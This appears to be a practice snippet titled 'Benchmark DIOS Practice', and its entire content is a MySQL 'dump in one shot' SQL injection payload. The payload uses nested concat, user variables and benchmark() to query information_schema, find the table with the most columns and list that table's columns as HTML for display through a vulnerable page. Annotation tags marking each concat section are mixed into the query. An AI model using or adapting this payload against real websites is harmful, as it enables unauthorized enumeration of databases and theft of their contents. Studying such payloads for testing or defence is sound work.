Benchmark DIOS Practice

concat
(
'<br><font color=blue>AAKASH ::: </font>',version(),
(select (@a) from (select (@a:=0x00),(@tbl:=0x00),(@c:=0x00),(@c_max:=0x00),(@c_max_t_name:=0x00),
( select (@a) from information_schema.columns where table_schema=database() and(@a) in
(@a:=concat
(
@a,
if( length(@tbl:=table_name)>0,
if( (@c:=(select count(column_name) from information_schema.columns where table_schema=database() and table_name=@tbl) )>@c_max,
if( (@c_max:=@c)>0,
if( (@c_max_t_name:=@tbl)>0,0x00,0x00),0x00),0x00),0x00)
)
)
)
)
a),
<1st concat start>
concat
(
'<br><font color=red>',@c_max_t_name,'</font> is table with most columns <font color=red>(',@c_max,'):</font><font color=black> ',
<2nd concat start>
concat
(
@clm:=0x00,@tbl_o:=0x00,@num:=0x00,
if (
     <benchmark start>
      benchmark
                      (
                      @c_max,@tbl_o:=<3rd concat start>
                                                concat
                                                         (
                                                          @tbl_o,
                                                           '<br>',
                                                            LPAD(@num:=@num%2b1,2,0x30),0x2e20,
                                                            (select   (@clm:=column_name) from information_schema.columns where table_name=@c_max_t_name and column_name
                                                              >@clm order by column_name limit 1)
                                                         )
                                                  </3rd concat end>
                       )
      =0
    </benchmark end>
,@tbl_o,0x00 ),
'<br>')

</2nd concat end>
)
</1st concat end>

)